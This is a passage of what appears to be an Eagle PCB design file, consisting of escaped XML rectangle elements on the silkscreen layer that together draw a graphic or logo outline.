x2=\"1.8894\" y2=\"-1.4277\" layer=\"21\"/>\n<rectangle x1=\"-1.9827\" y1=\"-1.4277\" x2=\"1.8983\" y2=\"-1.4232\" layer=\"21\"/>\n<rectangle x1=\"-1.9916\" y1=\"-1.4232\" x2=\"1.9027\" y2=\"-1.4188\" layer=\"21\"/>\n<rectangle x1=\"-1.996\" y1=\"-1.4188\" x2=\"1.9116\" y2=\"-1.4143\" layer=\"21\"/>\n<rectangle x1=\"-2.0049\" y1=\"-1.4143\" x2=\"1.9205\" y2=\"-1.4099\" layer=\"21\"/>\n<rectangle x1=\"-2.0138\" y1=\"-1.4099\" x2=\"1.9294\" y2=\"-1.4054\" layer=\"21\"/>\n<rectangle x1=\"-2.0182\" y1=\"-1.4054\" x2=\"1.9338\" y2=\"-1.401\" layer=\"21\"/>\n<rectangle x1=\"-2.0271\" y1=\"-1.401\" x2=\"1.9427\" y2=\"-1.3966\" layer=\"21\"/>\n<rectangle x1=\"-2.036\" y1=\"-1.3966\" x2=\"1.9516\" y2=\"-1.3921\" layer=\"21\"/>\n<rectangle x1=\"-2.0449\" y1=\"-1.3921\" x2=\"1.9604\" y2=\"-1.3877\" layer=\"21\"/>\n<rectangle x1=\"-2.0493\" y1=\"-1.3877\" x2=\"1.9649\" y2=\"-1.3832\" layer=\"21\"/>\n<rectangle x1=\"-2.0582\" y1=\"-1.3832\" x2=\"1.9738\" y2=\"-1.3788\" layer=\"21\"/>\n<rectangle x1=\"-2.0671\" y1=\"-1.3788\" x2=\"1.9826\" y2=\"-1.3744\" layer=\"21\"/>\n<rectangle x1=\"-2.076\" y1=\"-1.3744\" x2=\"1.9915\" y2=\"-1.3699\" layer=\"21\"/>\n<rectangle x1=\"-2.0804\" y1=\"-1.3699\" x2=\"1.996\" y2=\"-1.3655\" layer=\"21\"/>\n<rectangle x1=\"-2.0893\" y1=\"-1.3655\" x2=\"2.0049\" y2=\"-1.361\" layer=\"21\"/>\n<rectangle x1=\"-2.0982\" y1=\"-1.361\" x2=\"2.0137\" y2=\"-1.3566\" layer=\"21\"/>\n<rectangle x1=\"-2.107\" y1=\"-1.3566\" x2=\"2.0182\" y2=\"-1.3522\" layer=\"21\"/>\n<rectangle x1=\"-2.1115\" y1=\"-1.3522\" x2=\"2.0271\" y2=\"-1.3477\" layer=\"21\"/>\n<rectangle x1=\"-2.1204\" y1=\"-1.3477\" x2=\"2.0359\" y2=\"-1.3433\" layer=\"21\"/>\n<rectangle x1=\"-2.1292\" y1=\"-1.3433\" x2=\"2.0448\" y2=\"-1.3388\" layer=\"21\"/>\n<rectangle x1=\"-2.1337\" y1=\"-1.3388\" x2=\"2.0493\" y2=\"-1.3344\" layer=\"21\"/>\n<rectangle x1=\"-2.1426\" y1=\"-1.3344\" x2=\"2.0581\" y2=\"-1.33\" layer=\"21\"/>\n<rectangle x1=\"-2.1515\" y1=\"-1.33\" x2=\"2.067\" y2=\"-1.3255\" layer=\"21\"/>\n<rectangle x1=\"-2.1603\" y1=\"-1.3255\" x2=\"2.0759\" y2=\"-1.3211\" layer=\"21\"/>\n<rectangle x1=\"-2.1648\" y1=\"-1.3211\" x2=\"2.0803\" y2=\"-1.3166\" layer=\"21\"/>\n<rectangle x1=\"-2.1737\" y1=\"-1.3166\" x2=\"2.0892\" y2=\"-1.3122\" layer=\"21\"/>\n<rectangle x1=\"-2.1825\" y1=\"-1.3122\" x2=\"2.0981\" y2=\"-1.3078\" layer=\"21\"/>\n<rectangle x1=\"-2.1914\" y1=\"-1.3078\" x2=\"2.1025\" y2=\"-1.3033\" layer=\"21\"/>\n<rectangle x1=\"-2.1959\" y1=\"-1.3033\" x2=\"2.1114\" y2=\"-1.2989\" layer=\"21\"/>\n<rectangle x1=\"-2.2047\" y1=\"-1.2989\" x2=\"2.1203\" y2=\"-1.2944\" layer=\"21\"/>\n<rectangle x1=\"-2.2136\" y1=\"-1.2944\" x2=\"2.1292\" y2=\"-1.29\" layer=\"21\"/>\n<rectangle x1=\"-2.2225\" y1=\"-1.29\" x2=\"2.1336\" y2=\"-1.2856\" layer=\"21\"/>\n<rectangle x1=\"-2.2269\" y1=\"-1.2856\" x2=\"2.1425\" y2=\"-1.2811\" layer=\"21\"/>\n<rectangle x1=\"-2.2358\" y1=\"-1.2811\" x2=\"2.1514\" y2=\"-1.2767\" layer=\"21\"/>\n<rectangle x1=\"-2.2447\" y1=\"-1.2767\" x2=\"2.1603\" y2=\"-1.2722\" layer=\"21\"/>\n<rectangle x1=\"-2.2491\" y1=\"-1.2722\" x2=\"2.1647\" y2=\"-1.2678\" layer=\"21\"/>\n<rectangle x1=\"-2.258\" y1=\"-1.2678\" x2=\"2.1736\" y2=\"-1.2634\" layer=\"21\"/>\n<rectangle x1=\"-2.2669\" y1=\"-1.2634\" x2=\"2.1825\" y2=\"-1.2589\" layer=\"21\"/>\n<rectangle x1=\"-2.2758\" y1=\"-1.2589\" x2=\"2.1914\" y2=\"-1.2545\" layer=\"21\"/>\n<rectangle x1=\"-2.2802\" y1=\"-1.2545\" x2=\"2.1958\" y2=\"-1.25\" layer=\"21\"/>\n<rectangle x1=\"-2.2891\" y1=\"-1.25\" x2=\"2.2047\" y2=\"-1.2456\" layer=\"21\"/>\n<rectangle x1=\"-2.298\" y1=\"-1.2456\" x2=\"2.2136\" y2=\"-1.2411\" layer=\"21\"/>\n<rectangle x1=\"-2.3069\" y1=\"-1.2411\" x2=\"2.218\" y2=\"-1.2367\" layer=\"21\"/>\n<rectangle x1=\"-2.3113\" y1=\"-1.2367\" x2=\"2.2269\" y2=\"-1.2323\" layer=\"21\"/>\n<rectangle x1=\"-2.3202\" y1=\"-1.2323\" x2=\"2.2358\" y2=\"-1.2278\" layer=\"21\"/>\n<rectangle x1=\"-2.3291\" y1=\"-1.2278\" x2=\"2.2446\" y2=\"-1.2234\" layer=\"21\"/>\n<rectangle x1=\"-2.338\" y1=\"-1.2234\" x2=\"2.2491\" y2=\"-1.2189\" layer=\"21\"/>\n<rectangle x1=\"-2.3424\" y1=\"-1.2189\" x2=\"2.258\" y2=\"-1.2145\" layer=\"21\"/>\n<rectangle x1=\"-2.3513\" y1=\"-1.2145\" x2=\"2.2668\" y2=\"-1.2101\" layer=\"21\"/>\n<rectangle x1=\"-2.3602\" y1=\"-1.2101\" x2=\"2.2757\" y2=\"-1.2056\" layer=\"21\"/>\n<rectangle x1=\"-2.3646\" y1=\"-1.2056\" x2=\"2.2802\" y2=\"-1.2012\" layer=\"21\"/>\n<rectangle x1=\"-2.3735\" y1=\"-1.2012\" x2=\"2.289\" y2=\"-1.1967\" layer=\"21\"/>\n<rectangle x1=\"-2.3824\" y1=\"-1.1967\" x2=\"2.2979\" y2=\"-1.1923\" layer=\"21\"/>\n<rectangle x1=\"-2.3912\" y1=\"-1.1923\" x2=\"2.3068\" y2=\"-1.1879\" layer=\"21\"/>\n<rectangle x1=\"-2.3957\" y1=\"-1.1879\" x2=\"2.3112\" y2=\"-1.1834\" layer=\"21\"/>\n<rectangle x1=\"-2.4046\" y1=\"-1.1834\" x2=\"2.3201\" y2=\"-1.179\" layer=\"21\"/>\n<rectangle x1=\"-2.4134\" y1=\"-1.179\" x2=\"2.329\" y2=\"-1.1745\" layer=\"21\"/>\n<rectangle x1=\"-2.4179\" y1=\"-1.1745\" x2=\"2.3335\" y2=\"-1.1701\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"-0.9525\" x2=\"-2.5378\" y2=\"-0.9481\" layer=\"21\"/>\n<rectangle x1=\"2.4533\" y1=\"-0.9525\" x2=\"2.4578\" y2=\"-0.9481\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"-0.9481\" x2=\"-2.5333\" y2=\"-0.9436\" layer=\"21\"/>\n<rectangle x1=\"2.4489\" y1=\"-0.9481\" x2=\"2.4578\" y2=\"-0.9436\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"-0.9436\" x2=\"-2.5333\" y2=\"-0.9392\" layer=\"21\"/>\n<rectangle x1=\"2.4489\" y1=\"-0.9436\" x2=\"2.4578\" y2=\"-0.9392\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"-0.9392\" x2=\"-2.5289\" y2=\"-0.9348\" layer=\"21\"/>\n<rectangle x1=\"2.4445\" y1=\"-0.9392\" x2=\"2.4578\" y2=\"-0.9348\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"-0.9348\" x2=\"-2.5289\" y2=\"-0.9303\" layer=\"21\"/>\n<rectangle x1=\"2.4445\" y1=\"-0.9348\" x2=\"2.4578\" y2=\"-0.9303\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"-0.9303\" x2=\"-2.5245\" y2=\"-0.9259\" layer=\"21\"/>\n<rectangle x1=\"2.44\" y1=\"-0.9303\" x2=\"2.4578\" y2=\"-0.9259\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"-0.9259\" x2=\"-2.5245\" y2=\"-0.9214\" layer=\"21\"/>\n<rectangle x1=\"2.44\" y1=\"-0.9259\" x2=\"2.4578\" y2=\"-0.9214\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"-0.9214\" x2=\"-2.52\" y2=\"-0.917\" layer=\"21\"/>\n<rectangle x1=\"2.4356\" y1=\"-0.9214\" x2=\"2.4578\" y2=\"-0.917\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"-0.917\" x2=\"-2.5156\" y2=\"-0.9126\" layer=\"21\"/>\n<rectangle x1=\"2.4311\" y1=\"-0.917\" x2=\"2.4578\" y2=\"-0.9126\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"-0.9126\" x2=\"-2.5156\" y2=\"-0.9081\" layer=\"21\"/>\n<rectangle x1=\"2.4311\" y1=\"-0.9126\" x2=\"2.4578\" y2=\"-0.9081\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"-0.9081\" x2=\"-2.5111\" y2=\"-0.9037\" layer=\"21\"/>\n<rectangle x1=\"2.4267\" y1=\"-0.9081\" x2=\"2.4578\" y2=\"-0.9037\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"-0.9037\" x2=\"-2.5111\" y2=\"-0.8992\" layer=\"21\"/>\n<rectangle x1=\"2.4267\" y1=\"-0.9037\" x2=\"2.4578\" y2=\"-0.8992\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"-0.8992\" x2=\"-2.5067\" y2=\"-0.8948\" layer=\"21\"/>\n<rectangle x1=\"2.4223\" y1=\"-0.8992\" x2=\"2.4578\" y2=\"-0.8948\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"-0.8948\" x2=\"-2.5067\" y2=\"-0.8904\" layer=\"21\"/>\n<rectangle x1=\"2.4223\" y1=\"-0.8948\" x2=\"2.4578\" y2=\"-0.8904\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"-0.8904\" x2=\"-2.5023\" y2=\"-0.8859\" layer=\"21\"/>\n<rectangle x1=\"2.4178\" y1=\"-0.8904\" x2=\"2.4578\" y2=\"-0.8859\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"-0.8859\" x2=\"-2.4978\" y2=\"-0.8815\" layer=\"21\"/>\n<rectangle x1=\"2.4134\" y1=\"-0.8859\" x2=\"2.4578\" y2=\"-0.8815\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"-0.8815\" x2=\"-2.4978\" y2=\"-0.877\" layer=\"21\"/>\n<rectangle x1=\"2.4134\" y1=\"-0.8815\" x2=\"2.4578\" y2=\"-0.877\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"-0.877\" x2=\"-2.4934\" y2=\"-0.8726\" layer=\"21\"/>\n<rectangle x1=\"2.4089\" y1=\"-0.877\" x2=\"2.4578\" y2=\"-0.8726\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"-0.8726\" x2=\"-2.4934\" y2=\"-0.8681\" layer=\"21\"/>\n<rectangle x1=\"2.4089\" y1=\"-0.8726\" x2=\"2.4578\" y2=\"-0.8681\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"-0.8681\" x2=\"-2.4889\" y2=\"-0.8637\" layer=\"21\"/>\n<rectangle x1=\"2.4045\" y1=\"-0.8681\" x2=\"2.4578\" y2=\"-0.8637\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"-0.8637\" x2=\"-2.4845\" y2=\"-0.8593\" layer=\"21\"/>\n<rectangle x1=\"2.4001\" y1=\"-0.8637\" x2=\"2.4578\" y2=\"-0.8593\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"-0.8593\" x2=\"-2.4845\" y2=\"-0.8548\" layer=\"21\"/>\n<rectangle x1=\"2.4001\" y1=\"-0.8593\" x2=\"2.4578\" y2=\"-0.8548\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"-0.8548\" x2=\"-2.48\" y2=\"-0.8504\" layer=\"21\"/>\n<rectangle x1=\"2.3956\" y1=\"-0.8548\" x2=\"2.4578\" y2=\"-0.8504\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"-0.8504\" x2=\"-2.48\" y2=\"-0.8459\" layer=\"21\"/>\n<rectangle x1=\"2.3956\" y1=\"-0.8504\" x2=\"2.4578\" y2=\"-0.8459\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"-0.8459\" x2=\"-2.4756\" y2=\"-0.8415\" layer=\"21\"/>\n<rectangle x1=\"2.3912\" y1=\"-0.8459\" x2=\"2.4578\" y2=\"-0.8415\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"-0.8415\" x2=\"-2.4756\" y2=\"-0.8371\" layer=\"21\"/>\n<rectangle x1=\"2.3912\" y1=\"-0.8415\" x2=\"2.4578\" y2=\"-0.8371\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"-0.8371\" x2=\"-2.4712\" y2=\"-0.8326\" layer=\"21\"/>\n<rectangle x1=\"2.3867\" y1=\"-0.8371\" x2=\"2.4578\" y2=\"-0.8326\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"-0.8326\" x2=\"-2.4667\" y2=\"-0.8282\" layer=\"21\"/>\n<rectangle x1=\"2.3823\" y1=\"-0.8326\" x2=\"2.4578\" y2=\"-0.8282\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"-0.8282\" x2=\"-2.4667\" y2=\"-0.8237\" layer=\"21\"/>\n<rectangle x1=\"2.3823\" y1=\"-0.8282\" x2=\"2.4578\" y2=\"-0.8237\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"-0.8237\" x2=\"-2.4623\" y2=\"-0.8193\" layer=\"21\"/>\n<rectangle x1=\"2.3778\" y1=\"-0.8237\" x2=\"2.4578\" y2=\"-0.8193\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"-0.8193\" x2=\"-2.4623\" y2=\"-0.8149\" layer=\"21\"/>\n<rectangle x1=\"2.3778\" y1=\"-0.8193\" x2=\"2.4578\" y2=\"-0.8149\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"-0.8149\" x2=\"-2.4578\" y2=\"-0.8104\" layer=\"21\"/>\n<rectangle x1=\"2.3734\" y1=\"-0.8149\" x2=\"2.4578\" y2=\"-0.8104\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"-0.8104\" x2=\"-2.4578\" y2=\"-0.806\" layer=\"21\"/>\n<rectangle x1=\"2.3734\" y1=\"-0.8104\" x2=\"2.4578\" y2=\"-0.806\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"-0.806\" x2=\"-2.4534\" y2=\"-0.8015\" layer=\"21\"/>\n<rectangle x1=\"2.369\" y1=\"-0.806\" x2=\"2.4578\" y2=\"-0.8015\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"-0.8015\" x2=\"-2.449\" y2=\"-0.7971\" layer=\"21\"/>\n<rectangle x1=\"2.3645\" y1=\"-0.8015\" x2=\"2.4578\" y2=\"-0.7971\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"-0.7971\" x2=\"-2.449\" y2=\"-0.7927\" layer=\"21\"/>\n<rectangle x1=\"2.3645\" y1=\"-0.7971\" x2=\"2.4578\" y2=\"-0.7927\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"-0.7927\" x2=\"-2.4445\" y2=\"-0.7882\" layer=\"21\"/>\n<rectangle x1=\"2.3601\" y1=\"-0.7927\" x2=\"2.4578\" y2=\"-0.7882\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"-0.7882\" x2=\"-2.4445\" y2=\"-0.7838\" layer=\"21\"/>\n<rectangle x1=\"2.3601\" y1=\"-0.7882\" x2=\"2.4578\" y2=\"-0.7838\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"-0.7838\" x2=\"-2.4401\" y2=\"-0.7793\" layer=\"21\"/>\n<rectangle x1=\"2.3557\" y1=\"-0.7838\" x2=\"2.4578\" y2=\"-0.7793\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"-0.7793\" x2=\"-2.4401\" y2=\"-0.7749\" layer=\"21\"/>\n<rectangle x1=\"2.3512\" y1=\"-0.7793\" x2=\"2.4578\" y2=\"-0.7749\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"-0.7749\" x2=\"-2.4356\" y2=\"-0.7705\" layer=\"21\"/>\n<rectangle x1=\"2.3512\" y1=\"-0.7749\" x2=\"2.4578\" y2=\"-0.7705\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"-0.7705\" x2=\"-2.4312\" y2=\"-0.766\" layer=\"21\"/>\n<rectangle x1=\"2.3468\" y1=\"-0.7705\" x2=\"2.4578\" y2=\"-0.766\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"-0.766\" x2=\"-2.4312\" y2=\"-0.7616\" layer=\"21\"/>\n<rectangle x1=\"2.3468\" y1=\"-0.766\" x2=\"2.4578\" y2=\"-0.7616\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"-0.7616\" x2=\"-2.4268\" y2=\"-0.7571\" layer=\"21\"/>\n<rectangle x1=\"2.3423\" y1=\"-0.7616\" x2=\"2.4578\" y2=\"-0.7571\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"-0.7571\" x2=\"-2.4268\" y2=\"-0.7527\" layer=\"21\"/>\n<rectangle x1=\"2.3423\" y1=\"-0.7571\" x2=\"2.4578\" y2=\"-0.7527\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"-0.7527\" x2=\"-2.4223\" y2=\"-0.7483\" layer=\"21\"/>\n<rectangle x1=\"2.3379\" y1=\"-0.7527\" x2=\"2.4578\" y2=\"-0.7483\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"-0.7483\" x2=\"-2.4179\" y2=\"-0.7438\" layer=\"21\"/>\n<rectangle x1=\"2.3335\" y1=\"-0.7483\" x2=\"2.4578\" y2=\"-0.7438\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"-0.7438\" x2=\"-2.4179\" y2=\"-0.7394\" layer=\"21\"/>\n<rectangle x1=\"2.3335\" y1=\"-0.7438\" x2=\"2.4578\" y2=\"-0.7394\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"-0.7394\" x2=\"-2.4134\" y2=\"-0.7349\" layer=\"21\"/>\n<rectangle x1=\"2.329\" y1=\"-0.7394\" x2=\"2.4578\" y2=\"-0.7349\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"-0.7349\" x2=\"-2.4134\" y2=\"-0.7305\" layer=\"21\"/>\n<rectangle x1=\"2.329\" y1=\"-0.7349\" x2=\"2.4578\" y2=\"-0.7305\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"-0.7305\" x2=\"-2.409\" y2=\"-0.7261\" layer=\"21\"/>\n<rectangle x1=\"2.3246\" y1=\"-0.7305\" x2=\"2.4578\" y2=\"-0.7261\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"-0.7261\" x2=\"-2.409\" y2=\"-0.7216\" layer=\"21\"/>\n<rectangle x1=\"2.3246\" y1=\"-0.7261\" x2=\"2.4578\" y2=\"-0.7216\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"-0.7216\" x2=\"-2.4046\" y2=\"-0.7172\" layer=\"21\"/>\n<rectangle x1=\"2.3201\" y1=\"-0.7216\" x2=\"2.4578\" y2=\"-0.7172\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"-0.7172\" x2=\"-2.4001\" y2=\"-0.7127\" layer=\"21\"/>\n<rectangle x1=\"2.3157\" y1=\"-0.7172\" x2=\"2.4578\" y2=\"-0.7127\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"-0.7127\" x2=\"-2.4001\" y2=\"-0.7083\" layer=\"21\"/>\n<rectangle x1=\"2.3157\" y1=\"-0.7127\" x2=\"2.4578\" y2=\"-0.7083\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"-0.7083\" x2=\"-2.3957\" y2=\"-0.7038\" layer=\"21\"/>\n<rectangle x1=\"2.3112\" y1=\"-0.7083\" x2=\"2.4578\" y2=\"-0.7038\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"-0.7038\" x2=\"-2.3957\" y2=\"-0.6994\" layer=\"21\"/>\n<rectangle x1=\"2.3112\" y1=\"-0.7038\" x2=\"2.4578\" y2=\"-0.6994\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"-0.6994\" x2=\"-2.3912\" y2=\"-0.695\" layer=\"21\"/>\n<rectangle x1=\"2.3068\" y1=\"-0.6994\" x2=\"2.4578\" y2=\"-0.695\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"-0.695\" x2=\"-2.3912\" y2=\"-0.6905\" layer=\"21\"/>\n<rectangle x1=\"2.3068\" y1=\"-0.695\" x2=\"2.4578\" y2=\"-0.6905\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"-0.6905\" x2=\"-2.3868\" y2=\"-0.6861\" layer=\"21\"/>\n<rectangle x1=\"2.3024\" y1=\"-0.6905\" x2=\"2.4578\" y2=\"-0.6861\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"-0.6861\" x2=\"-2.3824\" y2=\"-0.6816\" layer=\"21\"/>\n<rectangle x1=\"2.2979\" y1=\"-0.6861\" x2=\"2.4578\" y2=\"-0.6816\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"-0.6816\" x2=\"-2.3824\" y2=\"-0.6772\" layer=\"21\"/>\n<rectangle x1=\"2.2979\" y1=\"-0.6816\" x2=\"2.4578\" y2=\"-0.6772\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"-0.6772\" x2=\"-2.3779\" y2=\"-0.6728\" layer=\"21\"/>\n<rectangle x1=\"2.2935\" y1=\"-0.6772\" x2=\"2.4578\" y2=\"-0.6728\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"-0.6728\" x2=\"-2.3779\" y2=\"-0.6683\" layer=\"21\"/>\n<rectangle x1=\"2.2935\" y1=\"-0.6728\" x2=\"2.4578\" y2=\"-0.6683\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"-0.6683\" x2=\"-2.3735\" y2=\"-0.6639\" layer=\"21\"/>\n<rectangle x1=\"2.289\" y1=\"-0.6683\" x2=\"2.4578\" y2=\"-0.6639\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"-0.6639\" x2=\"-2.3735\" y2=\"-0.6594\" layer=\"21\"/>\n<rectangle x1=\"2.2846\" y1=\"-0.6639\" x2=\"2.4578\" y2=\"-0.6594\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"-0.6594\" x2=\"-2.369\" y2=\"-0.655\" layer=\"21\"/>\n<rectangle x1=\"2.2846\" y1=\"-0.6594\" x2=\"2.4578\" y2=\"-0.655\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"-0.655\" x2=\"-2.3646\" y2=\"-0.6506\" layer=\"21\"/>\n<rectangle x1=\"2.2802\" y1=\"-0.655\" x2=\"2.4578\" y2=\"-0.6506\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"-0.6506\" x2=\"-2.3646\" y2=\"-0.6461\" layer=\"21\"/>\n<rectangle x1=\"2.2802\" y1=\"-0.6506\" x2=\"2.4578\" y2=\"-0.6461\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"-0.6461\" x2=\"-2.3602\" y2=\"-0.6417\" layer=\"21\"/>\n<rectangle x1=\"2.2757\" y1=\"-0.6461\" x2=\"2.4578\" y2=\"-0.6417\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"-0.6417\" x2=\"-2.3602\" y2=\"-0.6372\" layer=\"21\"/>\n<rectangle x1=\"2.2757\" y1=\"-0.6417\" x2=\"2.4578\" y2=\"-0.6372\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"-0.6372\" x2=\"-2.3557\" y2=\"-0.6328\" layer=\"21\"/>\n<rectangle x1=\"2.2713\" y1=\"-0.6372\" x2=\"2.4578\" y2=\"-0.6328\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"-0.6328\" x2=\"-2.3513\" y2=\"-0.6284\" layer=\"21\"/>\n<rectangle x1=\"2.2668\" y1=\"-0.6328\" x2=\"2.4578\" y2=\"-0.6284\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"-0.6284\" x2=\"-2.3513\" y2=\"-0.6239\" layer=\"21\"/>\n<rectangle x1=\"2.2668\" y1=\"-0.6284\" x2=\"2.4578\" y2=\"-0.6239\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"-0.6239\" x2=\"-2.3468\" y2=\"-0.6195\" layer=\"21\"/>\n<rectangle x1=\"2.2624\" y1=\"-0.6239\" x2=\"2.4578\" y2=\"-0.6195\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"-0.6195\" x2=\"-2.3468\" y2=\"-0.615\" layer=\"21\"/>\n<rectangle x1=\"2.2624\" y1=\"-0.6195\" x2=\"2.4578\" y2=\"-0.615\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"-0.615\" x2=\"-2.3424\" y2=\"-0.6106\" layer=\"21\"/>\n<rectangle x1=\"2.258\" y1=\"-0.615\" x2=\"2.4578\" y2=\"-0.6106\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"-0.6106\" x2=\"-2.3424\" y2=\"-0.6062\" layer=\"21\"/>\n<rectangle x1=\"2.258\" y1=\"-0.6106\" x2=\"2.4578\" y2=\"-0.6062\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"-0.6062\" x2=\"-2.338\" y2=\"-0.6017\" layer=\"21\"/>\n<rectangle x1=\"2.2535\" y1=\"-0.6062\" x2=\"2.4578\" y2=\"-0.6017\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"-0.6017\" x2=\"-2.3335\" y2=\"-0.5973\" layer=\"21\"/>\n<rectangle x1=\"2.2491\" y1=\"-0.6017\" x2=\"2.4578\" y2=\"-0.5973\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"-0.5973\" x2=\"-2.3335\" y2=\"-0.5928\" layer=\"21\"/>\n<rectangle x1=\"2.2491\" y1=\"-0.5973\" x2=\"2.4578\" y2=\"-0.5928\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"-0.5928\" x2=\"-2.3291\" y2=\"-0.5884\" layer=\"21\"/>\n<rectangle x1=\"2.2446\" y1=\"-0.5928\" x2=\"2.4578\" y2=\"-0.5884\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"-0.5884\" x2=\"-2.3291\" y2=\"-0.584\" layer=\"21\"/>\n<rectangle x1=\"2.2446\" y1=\"-0.5884\" x2=\"2.4578\" y2=\"-0.584\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"-0.584\" x2=\"-2.3246\" y2=\"-0.5795\" layer=\"21\"/>\n<rectangle x1=\"2.2402\" y1=\"-0.584\" x2=\"2.4578\" y2=\"-0.5795\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"-0.5795\" x2=\"-2.3246\" y2=\"-0.5751\" layer=\"21\"/>\n<rectangle x1=\"2.2402\" y1=\"-0.5795\" x2=\"2.4578\" y2=\"-0.5751\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"-0.5751\" x2=\"-2.3202\" y2=\"-0.5706\" layer=\"21\"/>\n<rectangle x1=\"2.2358\" y1=\"-0.5751\" x2=\"2.4578\" y2=\"-0.5706\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"-0.5706\" x2=\"-2.3157\" y2=\"-0.5662\" layer=\"21\"/>\n<rectangle x1=\"2.2313\" y1=\"-0.5706\" x2=\"2.4578\" y2=\"-0.5662\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"-0.5662\" x2=\"-2.3157\" y2=\"-0.5618\" layer=\"21\"/>\n<rectangle x1=\"2.2313\" y1=\"-0.5662\" x2=\"2.4578\" y2=\"-0.5618\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"-0.5618\" x2=\"-2.3113\" y2=\"-0.5573\" 